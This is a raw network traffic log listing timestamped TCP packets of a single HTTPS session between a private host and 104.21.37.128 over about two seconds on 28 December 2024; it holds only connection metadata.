Dec 28, 2024 04:24:17.548511028 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.548516035 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.548620939 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.550271988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.550287008 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.550348043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.550354958 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.550395012 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.552788973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.552803993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.552862883 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.552869081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.552911997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.553426981 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.555354118 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.555372000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.555434942 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.555442095 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.555485010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.557667971 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.557684898 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.557742119 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.557749987 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.557785034 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.560220003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.742613077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.742630959 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.742754936 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.742778063 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.742871046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.745126009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.745140076 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.745256901 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.745264053 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.745366096 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.746994972 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.747009993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.747123003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.747128963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.747225046 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.749444962 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.749459028 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.749588013 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.749593973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.749675035 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.752049923 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.752068043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.752124071 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.752130985 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.752177954 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.753959894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.753976107 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.754034996 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.754041910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.754081964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.754678011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.756489992 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.756509066 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.756567001 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.756575108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.756619930 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.758738041 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.758754015 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.758807898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.758814096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.758852005 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.762475014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.944001913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.944017887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.944078922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.944097042 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.944139004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.946042061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.946055889 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.946113110 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.946119070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.946158886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.948673964 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.948688030 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.948759079 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.948771000 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.948807955 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.950560093 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.950575113 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.950632095 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.950639009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.950683117 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.953037977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.953052998 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.953119993 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.953125954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.953159094 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.955681086 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.955694914 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.955748081 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.955754995 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.955791950 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.957945108 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.957969904 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.958000898 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.958008051 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.958051920 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.958060026 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.959064007 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.959850073 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.959867954 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.959909916 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.959917068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:17.959944010 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.959964037 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:17.966645002 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.145319939 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.145339966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.145451069 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.145483017 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.145529032 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.147454023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.147473097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.147535086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.147542953 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.147584915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.149877071 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.149892092 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.149960995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.149970055 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.150017977 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.151809931 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.151825905 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.151891947 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.151901960 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.151947975 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.152544022 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.152601004 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.154443026 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.154468060 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.154521942 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.154532909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.154561996 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.154584885 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.156969070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.156985044 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.157051086 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.157061100 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.157097101 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.159362078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.159384966 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.159424067 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.159439087 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.159460068 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.159487009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.161005974 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.161880970 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.161895037 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.161971092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.161979914 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.162020922 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.168121099 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.346879005 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.346895933 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.346971035 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.346988916 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.347034931 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.348972082 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.348985910 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.349050999 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.349057913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.349095106 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.351569891 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.351584911 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.351648092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.351655006 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.351692915 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.353477001 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.353492975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.353543997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.353552103 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.353579044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.353599072 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.355977058 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.355992079 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.356050014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.356055975 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.356091976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.358599901 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.358616114 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.358680964 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.358689070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.358736992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.360898972 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.360915899 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.360980988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.360991955 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.361032963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.361057997 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.362799883 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.362818003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.362875938 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.362885952 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.362925053 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.367904902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.548077106 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.548093081 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.548146009 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.548162937 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.548172951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.548202038 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.550143003 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.550158978 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.550215960 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.550223112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.550265074 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.552725077 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.552740097 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.552781105 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.552788019 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.552841902 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.554675102 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.554689884 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.554725885 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.554733038 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.554780006 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.557188988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.557203054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.557260036 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.557269096 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.557308912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.559813976 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.559828043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.559864044 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.559871912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.559910059 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.562084913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.562099934 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.562143087 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.562150002 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.562186003 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.563447952 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.563937902 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.563951969 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.563987017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.563992977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.564017057 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.564035892 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.570507050 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.868632078 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.868643045 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.868699074 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.868736982 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.868767977 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.868782043 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.868808985 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988313913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988347054 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988383055 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988395929 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988434076 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988446951 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988766909 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988786936 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988822937 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988828897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.988857031 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.988874912 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.989675999 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.989691973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.989731073 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.989737988 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.989779949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.990986109 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991003990 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991043091 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.991051912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991079092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.991096020 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.991866112 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991879940 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991916895 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.991923094 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.991956949 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.991971970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.992850065 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.992863894 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.992916107 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.992922068 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.992954016 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.992969990 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.993691921 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.993706942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.993747950 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.993757963 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.993813992 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.994514942 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.994529009 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.994569063 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.994575024 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.994618893 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.995465994 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.995480061 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.995522976 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.995527983 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.995553970 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.995575905 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.996373892 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.996388912 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.996418953 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.996424913 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.996464014 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.996479988 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.996695995 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.997802973 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.997817993 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.997849941 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.997854948 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.997885942 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.997900963 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.998878956 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.998905897 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.998935938 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.998940945 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.998979092 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.999763012 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.999775887 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.999824047 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:18.999830008 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:18.999881029 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.000684023 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.000699043 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.000729084 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.000734091 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.000773907 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.000788927 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.001440048 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.001455069 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.001487017 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.001491070 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.001518011 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.001530886 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.028139114 CET	49752	443	192.168.2.4	104.21.37.128
Dec 28, 2024 04:24:19.152371883 CET	443	49752	104.21.37.128	192.168.2.4
Dec 28, 2024 04:24:19.152405977 CET	443	49752	104.21.37.128	192.168.2.4
